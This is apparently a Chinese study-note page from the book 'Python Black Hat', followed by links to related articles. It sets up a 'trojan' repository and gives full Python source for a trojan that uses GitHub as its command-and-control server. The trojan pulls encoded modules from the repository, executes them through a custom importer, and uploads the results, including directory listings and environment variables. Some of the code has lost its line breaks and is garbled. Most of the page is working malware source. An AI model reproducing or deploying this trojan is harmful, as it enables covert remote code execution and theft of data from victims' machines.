GitHub账号设置

mkdir trojan
cd trojan
git init
mkdir modules
mkdir config
mkdir data
touch modules/.gitignore
touch config/.gitignore
touch data/.gitignore
git add .
git commit -m "Adding repo structure for trojan."
git remote add origin https://github.com/<你的GitHub用户名>/chapter7.git
git push origin master

创建模块

dirlist.py:

import os

def run(**args):

    print "[*] In dirlister module. "
files = os.listdir(".") return str(files)

environment.py:

import os

def run(**args):
print "[*] In environment module. "
return str(os.environ)

在项目的主目录中通过下面命令将其推送上去:

git add .
git commit -m "Adding new modules"
git push origin master

木马配置:

进入config目录,新建abc.json:

[
{
"module" : "dirlister"
},
{
"module" : "environment"
}
]

推送代码上去GitHub:

git add .

git commit -m "Adding simple config."

git push origin master

编写基于GitHub通信的木马

#!/usr/bin/python
#coding=utf-8 import json
import base64
import sys
import time
import imp
import random
import threading
import Queue
import os from github3 import login trojan_id = "abc" trojan_config = "%s.json"%trojan_id
data_path = "data/%s/"%trojan_id
trojan_modules = []
configured = False
task_queue = Queue.Queue() def connect_to_github():
gh = login(username="你的GitHub用户名",password="密码")
repo = gh.repository("你的GitHub用户名","chapter7")
branch = repo.branch("master") return gh,repo,branch def get_file_contents(filepath):
gh,repo,branch = connect_to_github()
tree = branch.commit.commit.tree.recurse() for filename in tree.tree:
if filepath in filename.path:
print "[*] Found file %s"%filepath
blob = repo.blob(filename._json_data['sha'])
return blob.content return None def get_trojan_config():
global configured
config_json = get_file_contents(trojan_config)
config = json.loads(base64.b64decode(config_json))
configured = True for task in config:
if task['module'] not in sys.modules:
exec("import %s"%task['module']) return config def store_module_result(data):
gh,repo,branch = connect_to_github()
remote_path = "data/%s/%d.data"%(trojan_id,random.randint(1000,100000))
repo.create_file(remote_path,"Commit message",base64.b64encode(data))
return class GitImporter(object):
"""docstring for GitImporter"""
def __init__(self):
self.current_module_code = "" def find_module(self,fullname,path=None):
if configured:
print "[*] Attempting to retrieve %s"%fullname
new_library = get_file_contents("modules/%s"%fullname) if new_library is not None:
self.current_module_code = base64.b64decode(new_library)
return self return None def load_module(self,name):
module = imp.new_module(name)
exec self.current_module_code in module.__dict__
sys.modules[name] = module return module def module_runner(module):
task_queue.put(1)
result = sys.modules[module].run()
task_queue.get() #保存结果到我们的repo中
store_module_result(result) return #木马的主循环
sys.meta_path = [GitImporter()] while True:
if task_queue.empty():
config = get_trojan_config()
for task in config:
t = threading.Thread(target=module_runner,args=(task['module'],))
t.start()
time.sleep(random.randint(1,10)) time.sleep(random.randint(1000,10000))

《Python黑帽子:黑客与渗透测试编程之道》 基于GitHub的命令和控制的更多相关文章

  1. python黑帽子-黑客与渗透测试编程之道(源代码)

    链接: https://pan.baidu.com/s/1i5BnB5V   密码: ak9t

  2. 读书笔记 ~ Python黑帽子 黑客与渗透测试编程之道

    Python黑帽子  黑客与渗透测试编程之道   <<< 持续更新中>>> 第一章: 设置python 环境 1.python软件包管理工具安装 root@star ...

  3. 2017-2018-2 20179204 PYTHON黑帽子 黑客与渗透测试编程之道

    python代码见码云:20179204_gege 参考博客Python黑帽子--黑客与渗透测试编程之道.关于<Python黑帽子:黑客与渗透测试编程之道>的学习笔记 第2章 网络基础 t ...

  4. 《Python黑帽子:黑客与渗透测试编程之道》 扩展Burp代理

    下载jython,在Burpsuite的扩展中配置jython路径: Burp模糊测试: #!/usr/bin/python #coding=utf-8 # 导入三个类,其中IBurpExtender ...

  5. 《Python黑帽子:黑客与渗透测试编程之道》 Web攻击

    Web的套接字函数库:urllib2 一开始以urllib2.py命名脚本,在Sublime Text中运行会出错,纠错后发现是重名了,改过来就好: #!/usr/bin/python #coding ...

  6. 《Python黑帽子:黑客与渗透测试编程之道》 Scapy:网络的掌控者

    窃取email认证: 测试代码: #!/usr/bin/python #coding=utf-8 from scapy.all import * #数据包回调函数 def packet_callbac ...

  7. 《Python黑帽子:黑客与渗透测试编程之道》 网络基础

    TCP客户端: 示例中socket对象有两个参数,AF_INET参数表明使用IPv4地址或主机名 SOCK_STREAM参数表示是一个TCP客户端.访问的URL是百度. #coding=utf-8 i ...

  8. 《Python黑帽子:黑客与渗透测试编程之道》 玩转浏览器

    基于浏览器的中间人攻击: #coding=utf-8 import win32com.client import time import urlparse import urllib data_rec ...

  9. 《Python黑帽子:黑客与渗透测试编程之道》 Windows下木马的常用功能

    有趣的键盘记录: 安装pyHook: http://nchc.dl.sourceforge.net/project/pyhook/pyhook/1.5.1/pyHook-1.5.1.win32-py2 ...

随机推荐

  1. tcl&redis安装

    http://www.linuxfromscratch.org/blfs/view/cvs/general/tcl.html tcl http://redis.io/topics/quickstart

  2. item2

    一.简介 iTerm2 是 OS X 下一款开源免费的的终端工具,很多人基本用它替代了原生的 Terminal.   二.特色功能 https://www.zhihu.com/question/274 ...

  3. Netty 源码 NioEventLoop(一)初始化

    Netty 源码 NioEventLoop(一)初始化 Netty 系列目录(https://www.cnblogs.com/binarylei/p/10117436.html) Netty 基于事件 ...

  4. vue父子间通信

    父组件是通过props属性给子组件通信的来看下代码: 父组件: <parent> <child :child-com="content"></chil ...

  5. jar 包 的用处 ,dozer、poi、itext 、jxl 、jbarcode 、itextrenderer jquery 效果

    1.dozer 做类型转换的, 新建 xml 文件 描述两个实体的对应关系 ,DozerBeanMapper mapper =new DozerBeanMapper().addMappingFiles ...

  6. springmvc 整合数据验证框架 jsr

    1.maven <dependency> <groupId>javax.validation</groupId> <artifactId>validat ...

  7. C语言基础课第四次作业

    1.实验代码      7-2 打印九九口诀表 (15 分) #include<stdio.h> #include<math.h> int main(void){ int a, ...

  8. 前端之css笔记3

    一 display属性 <!DOCTYPE html> <html lang="en"> <head> <meta charset=&qu ...

  9. 2018.07.04 POJ 1113 Wall(凸包)

    Wall Time Limit: 1000MS Memory Limit: 10000K Description Once upon a time there was a greedy King wh ...

  10. 2018.09.18 atcoder Many Formulas(搜索)

    传送门 感觉自己搜索能力退化了,这种弱智搜索写了整整5min,这样下去比赛会凉的. 看来得多练练题了. 代码: #include<bits/stdc++.h> #define ll lon ...